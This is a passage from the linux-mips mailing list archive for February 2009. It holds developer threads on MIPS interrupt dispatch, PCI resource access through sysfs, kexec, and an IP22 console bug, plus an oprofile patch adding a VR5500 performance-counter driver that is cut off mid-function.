Rhodin Cc: linux-mips@linux-mips.org Subject: Re: plat_irq_dispatch Message-ID: <20090220134729.GC19924@linux-mips.org> References: <499E6AC5.5070404@notav8.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <499E6AC5.5070404@notav8.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21949 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 2159 Lines: 43 On Fri, Feb 20, 2009 at 12:33:09AM -0800, Chris Rhodin wrote: > I've been digging through the interrupt code trying to figure out what > would be required to make it "generic irq" clean. I have a couple of > questions that I haven't been able to answer myself. > > 1) I count 24 different versions of plat_irq_dispatch, many of them only > seem to vary in the use and priority of the 8 sources in the cause > register. Is this really the case or am I missing something subtle? No, you're correct. Part of why all these plat_irq_dispatch versions do exist is that there are different versions of CPU interrupt controllers. There is the basic MIPS CPU integrated interrupt controller providing 6 level-sensitive inputs and 2 software interrupts. Some processors such as the RM7000 processors and E9000 cores extend this in vendor- specific ways. Outside of the actual processor in most cases there is a system-specific hierarchy of interrupt controllers attached which needs to be polled in software to find the source of a pending interrupt and compute an interrupt number for use by the generic code. plat_irq_dispatch came into existence in commit 5476b529ad3ba9db6e189c79d692d2929c1d1f95 as the hardware-specific part of the former platform-specific handle_int family of functions and for sanity reasons is written in C, no longer assembler. > 2) Why isn't plat_irq_dispatch looping until all active interrupts are > serviced? The assumption is that most often there won't be another interrupt pending and that it is faster on average to just take another interrupt exception than to always perform the check. > I already have what I believe is a generic plat_irq_dispatch that finds > the highest priority irq in (almost) constant time. It needs one block > of defines to identify the 8 sources and another block to set the > priorities. I'm not sure how important priorities actually are these days. In the dark past of Linux the SCSI code did go braindead if timer interrupts were not handled at higher priority than device interrupts. That's got fixed eons ago. Some embedded devices may have requirements there? Ralf From ralf@h5.dl5rb.org.uk Fri Feb 20 14:51:28 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 20 Feb 2009 14:51:31 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:47746 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21365143AbZBTOv2 (ORCPT ); Fri, 20 Feb 2009 14:51:28 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1KEpRDh024907 for ; Fri, 20 Feb 2009 14:51:27 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1KEpR5i024905 for linux-mips@linux-mips.org; Fri, 20 Feb 2009 14:51:27 GMT Date: Fri, 20 Feb 2009 14:51:27 +0000 From: Ralf Baechle To: linux-mips@linux-mips.org Subject: Re: [RFC] implement syscall pciconfig_iobase Message-ID: <20090220145127.GD19924@linux-mips.org> References: <20090220130156.GA14095@adriano.hkcable.com.hk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090220130156.GA14095@adriano.hkcable.com.hk> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21950 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 3437 Lines: 79 On Fri, Feb 20, 2009 at 09:01:57PM +0800, Zhang Le wrote: > Currently, xorg-server on loongson need a patch: > http://www.gentoo-cn.org/gitweb/?p=loongson;a=blob;f=x11-base/xorg-server/files/xorg-server-1.5.3-loongson.patch;h=9c48b3752b7f14b6603524f46ae832f312e7c6fe;hb=HEAD#l37 > Please note that line 37, the last parameter to mmap, which is the ioBase_phys, > is hardcoded. > > This patch no long applies to xorg-server git master. It should have been rejected by the maintainer before. This was obviously fragile and had no fighting chance to ever work on anything but a Fulong. > So I took at look at the code trying to find out why. And then I found powerpc > has implemented this syscall: pciconfig_iobase > > Please take a look at the following code: > http://cgit.freedesktop.org/xorg/xserver/tree/hw/xfree86/os-support/linux/lnx_video.c#n517 > > At the first glance, it is absolutely a good idea to implement this for mips, > too. However when I read pciconfig_iobase's manpage, I found this sentence: > > Most of the interaction with PCI devices is already handled by the > kernel PCI layer, and thus these calls should not normally need to be > accessed from userspace. > > So I decided to bring this issue here, so that you guys could give me some > advice. You can find the resources either by something like: # lspci -vvv -s 1d.1 00:1d.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02) (prog-if 00 [UHCI]) Subsystem: Dell Device 01fe Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- ); Fri, 20 Feb 2009 16:50:22 +0000 Received: (qmail 17999 invoked by uid 508); 20 Feb 2009 16:50:13 -0000 Received: from 203.83.114.122 by tenor (envelope-from , uid 505) with qmail-scanner-1.25 (clamdscan: 0.93.3/7824. Clear:RC:1(203.83.114.122):. Processed in 0.21631 secs); 20 Feb 2009 16:50:13 -0000 Received: from ip114122.hkicable.com (HELO xenon.i-cable.com) (203.83.114.122) by 0 with SMTP; 20 Feb 2009 16:50:12 -0000 Received: from localhost (cm222-167-208-75.hkcable.com.hk [222.167.208.75]) by xenon.i-cable.com (8.13.5/8.13.5) with ESMTP id n1KGo7Qt003282; Sat, 21 Feb 2009 00:50:12 +0800 (CST) Date: Sat, 21 Feb 2009 00:50:01 +0800 From: Zhang Le To: Ralf Baechle Cc: linux-mips@linux-mips.org Subject: Re: [RFC] implement syscall pciconfig_iobase Message-ID: <20090220164926.GA28041@adriano.hkcable.com.hk> Mail-Followup-To: Ralf Baechle , linux-mips@linux-mips.org References: <20090220130156.GA14095@adriano.hkcable.com.hk> <20090220145127.GD19924@linux-mips.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090220145127.GD19924@linux-mips.org> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21951 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: r0bertz@gentoo.org Precedence: bulk X-list: linux-mips Content-Length: 2941 Lines: 69 On 14:51 Fri 20 Feb , Ralf Baechle wrote: > On Fri, Feb 20, 2009 at 09:01:57PM +0800, Zhang Le wrote: > > > Currently, xorg-server on loongson need a patch: > > http://www.gentoo-cn.org/gitweb/?p=loongson;a=blob;f=x11-base/xorg-server/files/xorg-server-1.5.3-loongson.patch;h=9c48b3752b7f14b6603524f46ae832f312e7c6fe;hb=HEAD#l37 > > Please note that line 37, the last parameter to mmap, which is the ioBase_phys, > > is hardcoded. > > > > This patch no long applies to xorg-server git master. > > It should have been rejected by the maintainer before. This was obviously > fragile and had no fighting chance to ever work on anything but a Fulong. Exactly. [snip] > # lspci -vvv -s 1d.1 > 00:1d.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Dell Device 01fe > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin B routed to IRQ 21 > Region 4: I/O ports at 6f60 [size=32] > Kernel driver in use: uhci_hcd > > Now let's see how to find this in sysfs: > > # ls -l /sys/bus/pci/devices/0000:00:1d.1/resource* > -r--r--r-- 1 root root 4096 2009-02-20 14:13 /sys/bus/pci/devices/0000:00:1d.1/resource > -rw------- 1 root root 32 2009-02-20 14:20 /sys/bus/pci/devices/0000:00:1d.1/resource4 > # cat /sys/bus/pci/devices/0000:00:1d.1/resource > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > 0x0000000000006f60 0x0000000000006f7f 0x0000000000020101 > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > 0x0000000000000000 0x0000000000000000 0x0000000000000000 > > So if you want to mmap the 4th resource, just mmap the file > /sys/bus/pci/devices/0000:00:1d.1/resource4. This leaves how to obtain > the "0000:00:1d.1" - you have to find it by looking at the vendor and device > files in every file in /proc/bus/pci/devices/ which contain the PCI vendor > and device ID as hex numbers. For my example device here: > > [root@h5 0000:09:00.0]# cat device > 0x1673 > [root@h5 0000:09:00.0]# cat vendor > 0x14e4 > [root@h5 0000:09:00.0]# > > Hopefully X finally has some nice infrastructure for this sort of stuff. > > And for completeness sake, directly looking at the BARs in the PCI config > space is another method but this one is deprecated these days as it may > not work on some complex systems. > > # od -A x -t x4 -j 0x10 -N 0x20 /proc/bus/pci/00/1d.1 > 000010 00000000 00000000 00000000 00000000 > 000020 00006f61 00000000 00000000 01fe1028 > 000030 > # Thank you for the above comment! It is very informative! I will try to make a new patch. Zhang, Le From robert.zhangle@gmail.com Sat Feb 21 07:04:16 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 21 Feb 2009 07:04:19 +0000 (GMT) Received: from tenor.i-cable.com ([203.83.115.107]:26022 "HELO tenor.i-cable.com") by ftp.linux-mips.org with SMTP id S21299229AbZBUHEQ (ORCPT ); Sat, 21 Feb 2009 07:04:16 +0000 Received: (qmail 5500 invoked by uid 508); 21 Feb 2009 07:04:08 -0000 Received: from 203.83.114.121 by tenor (envelope-from , uid 505) with qmail-scanner-1.25 (clamdscan: 0.93.3/7824. Clear:RC:1(203.83.114.121):. Processed in 0.191023 secs); 21 Feb 2009 07:04:08 -0000 Received: from ip114121.hkicable.com (HELO silicon.i-cable.com) (203.83.114.121) by 0 with SMTP; 21 Feb 2009 07:04:07 -0000 Received: from localhost (cm222-167-208-75.hkcable.com.hk [222.167.208.75]) by silicon.i-cable.com (8.13.5/8.13.5) with ESMTP id n1L746Wq022396; Sat, 21 Feb 2009 15:04:07 +0800 (HKT) Date: Sat, 21 Feb 2009 15:03:59 +0800 From: Zhang Le To: Ralf Baechle Cc: linux-mips@linux-mips.org Subject: Re: [RFC] implement syscall pciconfig_iobase Message-ID: <20090221070359.GB28041@adriano.hkcable.com.hk> Mail-Followup-To: Ralf Baechle , linux-mips@linux-mips.org References: <20090220130156.GA14095@adriano.hkcable.com.hk> <20090220145127.GD19924@linux-mips.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090220145127.GD19924@linux-mips.org> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21952 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: r0bertz@gentoo.org Precedence: bulk X-list: linux-mips Content-Length: 1378 Lines: 33 On 14:51 Fri 20 Feb , Ralf Baechle wrote: > You can find the resources either by something like: > > # lspci -vvv -s 1d.1 > 00:1d.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Dell Device 01fe > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin B routed to IRQ 21 > Region 4: I/O ports at 6f60 [size=32] > Kernel driver in use: uhci_hcd > > Now let's see how to find this in sysfs: [snip] Hi, Ralf, After careful thought, I think this may be not what I need. Actually libpciaccess, which is a integral component of X now, need this mmap-able resourceN (N=1,2,3..) file. And previously mips don't have these file. This patch just solved this problem. http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=98873f53becea9a8a46972ff252e96fe575b120d What I need is access to this address in userspace: #define LOONGSON2E_IO_PORT_BASE 0x1fd00000UL which is defined in arch/mips/include/asm/mach-lemote/pci.h Or maybe a better idea is to implement ioperm/iopl for mips, as discussed 7 years ago: http://www.linux-mips.org/archives/linux-mips/2002-04/msg00085.html Zhang, Le From lists@nabble.com Sun Feb 22 16:50:32 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 22 Feb 2009 16:50:35 +0000 (GMT) Received: from kuber.nabble.com ([216.139.236.158]:47782 "EHLO kuber.nabble.com") by ftp.linux-mips.org with ESMTP id S21103522AbZBVQuc (ORCPT ); Sun, 22 Feb 2009 16:50:32 +0000 Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1LbHX9-0006Bo-0D for linux-mips@linux-mips.org; Sun, 22 Feb 2009 08:50:28 -0800 Message-ID: <22148789.post@talk.nabble.com> Date: Sun, 22 Feb 2009 08:50:27 -0800 (PST) From: wurststulle To: linux-mips@linux-mips.org Subject: Re: kexec on mips - anyone has it working? In-Reply-To: <486A759D.6080803@wpkg.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: wurststulle@gmail.com References: <483BCB75.4050901@wpkg.org> <200805271405.55346.nschichan@freebox.fr> <483C0135.9070203@wpkg.org> <200805271449.45124.nschichan@freebox.fr> <483C4F73.4040909@wpkg.org> <200805291347.05196.nschichan@freebox.fr> <483F0EF3.3060500@wpkg.org> <200805301327.11925.nschichan@freebox.fr> <483FE764.1090901@wpkg.org> <200807011542.29274.nschichan@freebox.fr> <486A6F0D.4070802@wpkg.org> <200807012000.40421.nschichan@freebox.fr> <486A759D.6080803@wpkg.org> Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21953 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: wurststulle@gmail.com Precedence: bulk X-list: linux-mips Content-Length: 634 Lines: 31 is there any solution for this, i have the same problem mangoo wrote: > > Nicolas Schichan schrieb: > >> + printk("image->start = %lx", image->start); >> + >> reboot_code_buffer = >> (unsigned long)page_address(image->control_code_page); > > # kexec -e > b44: eth0: powering down PHY > Starting new kernel > image->start = 304000Will call new kernel at 00304000 > Bye ... > > > > -- > Tomasz Chmielewski > http://wpkg.org > > > -- View this message in context: http://www.nabble.com/kexec-on-mips---anyone-has-it-working--tp17485898p22148789.html Sent from the linux-mips main mailing list archive at Nabble.com. From jb@jblache.org Sun Feb 22 20:07:02 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 22 Feb 2009 20:07:05 +0000 (GMT) Received: from ix.technologeek.org ([213.41.253.186]:15591 "EHLO sonic.technologeek.org") by ftp.linux-mips.org with ESMTP id S20807911AbZBVUHC (ORCPT ); Sun, 22 Feb 2009 20:07:02 +0000 Received: by sonic.technologeek.org (Postfix, from userid 1000) id 6D79F185592E; Sun, 22 Feb 2009 21:07:02 +0100 (CET) From: Julien BLACHE To: linux-mips@linux-mips.org Subject: (Newport) console problems on IP22 Date: Sun, 22 Feb 2009 21:07:02 +0100 Message-ID: <873ae6ck2h.fsf@sonic.technologeek.org> User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.21 (linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21954 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: jb@jblache.org Precedence: bulk X-list: linux-mips Content-Length: 959 Lines: 32 Hi, Martin Michlmayr offered a build of 2.6.29-rc5 for test to debian-mips, and that kernel is showing console-related issues on my IP22. I'm not sure what's going, so here are my observations: - the Newport console is not detected anymore - getty process stuck root 1226 98.7 0.0 0 0 tty1 Rs+ 19:48 9:22 [getty] gettys on tty[2-6] might also be stuck somewhere. Can't strace the getty on tty1 (operation not permitted) and strace on tty[2-6] attaches to the process but doesn't print anything and is stuck from here on. Cannot detach or anything. Processes are of course unkillable. - dmesg fills up with tty_release_dev: tty1: read/write wait queue active! No keyboard/screen attached, serial console only. Does that ring any bell wrt recent tty changes? Any idea? JB. -- Julien BLACHE GPG KeyID 0xF5D65169 From jb@jblache.org Sun Feb 22 20:11:08 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 22 Feb 2009 20:11:10 +0000 (GMT) Received: from ix.technologeek.org ([213.41.253.186]:14472 "EHLO sonic.technologeek.org") by ftp.linux-mips.org with ESMTP id S20807911AbZBVULI (ORCPT ); Sun, 22 Feb 2009 20:11:08 +0000 Received: by sonic.technologeek.org (Postfix, from userid 1000) id BBCA5185592E; Sun, 22 Feb 2009 21:11:08 +0100 (CET) From: Julien BLACHE To: linux-mips@linux-mips.org Subject: Re: (Newport) console problems on IP22 References: <873ae6ck2h.fsf@sonic.technologeek.org> Date: Sun, 22 Feb 2009 21:11:08 +0100 In-Reply-To: <873ae6ck2h.fsf@sonic.technologeek.org> (Julien BLACHE's message of "Sun, 22 Feb 2009 21:07:02 +0100") Message-ID: <87y6vyb5b7.fsf@sonic.technologeek.org> User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.21 (linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21955 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: jb@jblache.org Precedence: bulk X-list: linux-mips Content-Length: 800 Lines: 23 Julien BLACHE wrote: > - getty process stuck > > root 1226 98.7 0.0 0 0 tty1 Rs+ 19:48 9:22 [getty] > > gettys on tty[2-6] might also be stuck somewhere. Can't strace the > getty on tty1 (operation not permitted) and strace on tty[2-6] > attaches to the process but doesn't print anything and is stuck from > here on. Cannot detach or anything. Processes are of course > unkillable. Looks like the strace on the getty process on tty2 led to something hanging to the point my serial console on ttyS0 was hung after that. But I could still log in via SSH, so the kernel keeps running fine despite that. JB. -- Julien BLACHE GPG KeyID 0xF5D65169 From arnaud.patard@mandriva.com Mon Feb 23 09:29:53 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 09:29:56 +0000 (GMT) Received: from mx1.moondrake.net ([212.85.150.166]:23172 "EHLO mx1.mandriva.com") by ftp.linux-mips.org with ESMTP id S20808006AbZBWJ3x (ORCPT ); Mon, 23 Feb 2009 09:29:53 +0000 Received: by mx1.mandriva.com (Postfix, from userid 501) id 2C0A4274002; Mon, 23 Feb 2009 10:29:53 +0100 (CET) Received: from office-abk.mandriva.com (office-abk.mandriva.com [84.55.162.90]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.mandriva.com (Postfix) with ESMTP id A3EA1274003; Mon, 23 Feb 2009 10:29:49 +0100 (CET) Received: from anduin.mandriva.com (fw2.mandriva.com [192.168.2.3]) by office-abk.mandriva.com (Postfix) with ESMTP id E1E7C82816; Mon, 23 Feb 2009 10:30:26 +0100 (CET) Received: from anduin.mandriva.com (localhost [127.0.0.1]) by anduin.mandriva.com (Postfix) with ESMTP id 9213BFF855; Mon, 23 Feb 2009 10:30:36 +0100 (CET) From: Arnaud Patard To: wurststulle Cc: linux-mips@linux-mips.org Subject: Re: kexec on mips - anyone has it working? References: <483BCB75.4050901@wpkg.org> <200805271405.55346.nschichan@freebox.fr> <483C0135.9070203@wpkg.org> <200805271449.45124.nschichan@freebox.fr> <483C4F73.4040909@wpkg.org> <200805291347.05196.nschichan@freebox.fr> <483F0EF3.3060500@wpkg.org> <200805301327.11925.nschichan@freebox.fr> <483FE764.1090901@wpkg.org> <200807011542.29274.nschichan@freebox.fr> <486A6F0D.4070802@wpkg.org> <200807012000.40421.nschichan@freebox.fr> <486A759D.6080803@wpkg.org> <22148789.post@talk.nabble.com> Organization: Mandriva Date: Mon, 23 Feb 2009 10:30:36 +0100 In-Reply-To: <22148789.post@talk.nabble.com> (wurststulle@gmail.com's message of "Sun, 22 Feb 2009 08:50:27 -0800 (PST)") Message-ID: User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21956 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: apatard@mandriva.com Precedence: bulk X-list: linux-mips Content-Length: 774 Lines: 20 wurststulle writes: Hi, > is there any solution for this, i have the same problem What's your exact problem ? It hangs right after saying 'Bye...' ? Some monthes ago, I played with the patch from M. Syrchin [ sorry, I don't remember if it was on linux-mips or on the kexec list ]. I've made on it a small modification (compare the machine_kexec_prepare function in my version [1] and the original function) and it was somewhat working on Qemu and on my box. It was not perfect but at least with a very minimal test system, it was working. Maybe you can try it and see if it works for you too. Depending on your platform, you may have to define machine specific hooks too. Regards, Arnaud [1] http://people.mandriva.com/~apatard/kexec_mips.patch From Mark.Asselstine@windriver.com Mon Feb 23 16:26:44 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 23 Feb 2009 16:26:46 +0000 (GMT) Received: from mail.windriver.com ([147.11.1.11]:29180 "EHLO mail.wrs.com") by ftp.linux-mips.org with ESMTP id S20808054AbZBWQ0o (ORCPT ); Mon, 23 Feb 2009 16:26:44 +0000 Received: from ALA-MAIL03.corp.ad.wrs.com (ala-mail03 [147.11.57.144]) by mail.wrs.com (8.13.6/8.13.6) with ESMTP id n1NGQZAj006483; Mon, 23 Feb 2009 08:26:35 -0800 (PST) Received: from ala-mail06.corp.ad.wrs.com ([147.11.57.147]) by ALA-MAIL03.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Feb 2009 08:26:35 -0800 Received: from localhost.localdomain ([128.224.146.23]) by ala-mail06.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Feb 2009 08:26:35 -0800 From: Mark Asselstine To: linux-mips@linux-mips.org, oprofile-list@lists.sf.net Subject: [PATCH] oprofile: VR5500 performance counter driver Date: Mon, 23 Feb 2009 11:26:34 -0500 Message-Id: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> X-Mailer: git-send-email 1.5.5.1 X-OriginalArrivalTime: 23 Feb 2009 16:26:35.0159 (UTC) FILETIME=[7E9C7270:01C995D3] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21957 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mark.asselstine@windriver.com Precedence: bulk X-list: linux-mips Content-Length: 6013 Lines: 225 This is inspired by op_model_mipsxx.c with some modification in regards to register layout and overflow handling. This has been tested on a NEC VR5500 board and shown to produce sane results. Signed-off-by: Mark Asselstine diff --git a/arch/mips/oprofile/Makefile b/arch/mips/oprofile/Makefile index cfd4b60..977a828 100644 --- a/arch/mips/oprofile/Makefile +++ b/arch/mips/oprofile/Makefile @@ -14,4 +14,5 @@ oprofile-$(CONFIG_CPU_MIPS32) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_MIPS64) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_R10000) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_SB1) += op_model_mipsxx.o +oprofile-$(CONFIG_CPU_VR5500) += op_model_vr5500.o oprofile-$(CONFIG_CPU_RM9000) += op_model_rm9000.o diff --git a/arch/mips/oprofile/common.c b/arch/mips/oprofile/common.c index e1bffab..68aad99 100644 --- a/arch/mips/oprofile/common.c +++ b/arch/mips/oprofile/common.c @@ -17,6 +17,7 @@ extern struct op_mips_model op_model_mipsxx_ops __attribute__((weak)); extern struct op_mips_model op_model_rm9000_ops __attribute__((weak)); +extern struct op_mips_model op_model_vr5500_ops __attribute__((weak)); static struct op_mips_model *model; @@ -94,6 +95,10 @@ int __init oprofile_arch_init(struct oprofile_operations *ops) case CPU_RM9000: lmodel = &op_model_rm9000_ops; break; + + case CPU_R5500: + lmodel = &op_model_vr5500_ops; + break; }; diff --git a/arch/mips/oprofile/op_model_vr5500.c b/arch/mips/oprofile/op_model_vr5500.c new file mode 100644 index 0000000..75fae6a --- /dev/null +++ b/arch/mips/oprofile/op_model_vr5500.c @@ -0,0 +1,179 @@ +/* + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file "COPYING" in the main directory of this archive + * for more details. + * + * Copyright (c) 2009 Wind River Systems, Inc. + */ +#include +#include +#include +#include +#include + +#include "op_impl.h" + +#define M_PERFCTL_EXL (1UL << 0) +#define M_PERFCTL_KERNEL (1UL << 1) +#define M_PERFCTL_SUPERVISOR (1UL << 2) +#define M_PERFCTL_USER (1UL << 3) +#define M_PERFCTL_INTERRUPT_ENABLE (1UL << 4) +#define M_PERFCTL_INTERRUPT (1UL << 5) +#define M_PERFCTL_EVENT(event) (((event) & 0xf) << 6) +#define M_PERFCTL_COUNT_ENABLE (1UL << 10) + +#define NUM_COUNTERS 2 + +static int (*save_perf_irq) (void); + +#define __define_perf_accessors(r, n) \ + \ + static inline unsigned int r_c0_ ## r ## n(void) \ + { \ + return read_c0_ ## r ## n(); \ + } \ + \ + static inline void w_c0_ ## r ## n(unsigned int value) \ + { \ + write_c0_ ## r ## n(value); \ + } \ + +__define_perf_accessors(perfcntr, 0) +__define_perf_accessors(perfcntr, 1) + +__define_perf_accessors(perfctrl, 0) +__define_perf_accessors(perfctrl, 1) + +struct op_mips_model op_model_vr5500_ops; + +static struct vr5500_register_config { + unsigned int control[NUM_COUNTERS]; + unsigned int counter[NUM_COUNTERS]; +} reg; + +/* Compute all of the registers in preparation for enabling profiling. */ +static void vr5500_reg_setup(struct op_counter_config *ctr) +{ + int i; + unsigned int counters = NUM_COUNTERS; + + /* Compute the performance counter control word. */ + for (i = 0; i < counters; i++) { + reg.control[i] = 0; + reg.counter[i] = 0; + + if (!ctr[i].enabled) + continue; + + reg.control[i] = M_PERFCTL_EVENT(ctr[i].event) | + M_PERFCTL_INTERRUPT_ENABLE | M_PERFCTL_COUNT_ENABLE; + if (ctr[i].kernel) + reg.control[i] |= M_PERFCTL_KERNEL; + if (ctr[i].user) + reg.control[i] |= M_PERFCTL_USER; + if (ctr[i].exl) + reg.control[i] |= M_PERFCTL_EXL; + + reg.counter[i] = 0xffffffff - ctr[i].count + 1; + } +} + +/* Program all of the registers in preparation for enabling profiling. */ +static void vr5500_cpu_setup(void *args) +{ + w_c0_perfctrl1(0); + w_c0_perfcntr1(reg.counter[1]); + + w_c0_perfctrl0(0); + w_c0_perfcntr0(reg.counter[0]); +} + +/* Start all counters on current CPU */ +static void vr5500_cpu_start(void *args) +{ + w_c0_perfctrl1(reg.control[1]); + w_c0_perfctrl0(reg.control[0]); +} + +/* Stop all counters on current CPU */ +static void vr5500_cpu_stop(void *args) +{ + w_c0_perfctrl1(0); + w_c0_perfctrl0(0); +} + +static int vr5500_perfcount_handler(void) +{ + unsigned int control; + unsigned int counter; + int handled = IRQ_NONE; + unsigned int counters = NUM_COUNTERS; + + if (cpu_has_mips_r2 && !(read_c0_cause() & (1 << 26))) + return handled; + + switch (counters) { + #define HANDLE_COUNTER(n) \ + case n + 1: \ + control = r_c0_perfctrl ## n(); \ + counter = r_c0_perfcntr ## n(); \ + if ((control & M_PERFCTL_INTERRUPT_ENABLE) && \ + (control & M_PERFCTL_INTERRUPT)) { \ + oprofile_add_sample(get_irq_regs(), n); \ + w_c0_perfcntr ## n(reg.counter[n]); \ + w_c0_perfctrl ## n(control & ~M_PERFCTL_INTERRUPT); \ + handled = IRQ_HANDLED; \ + } + HANDLE_COUNTER(1) + HANDLE_COUNTER(0) + } + + return handled; +} + +static void reset_counters(void *arg) +{ + w_c0_perfctrl1(0); + w_c0_perfcntr1(0); + + w_c0_perfctrl0(0); + w_c0_perfcntr0(0); +} + +static int __init vr5500_init(void) +{ + 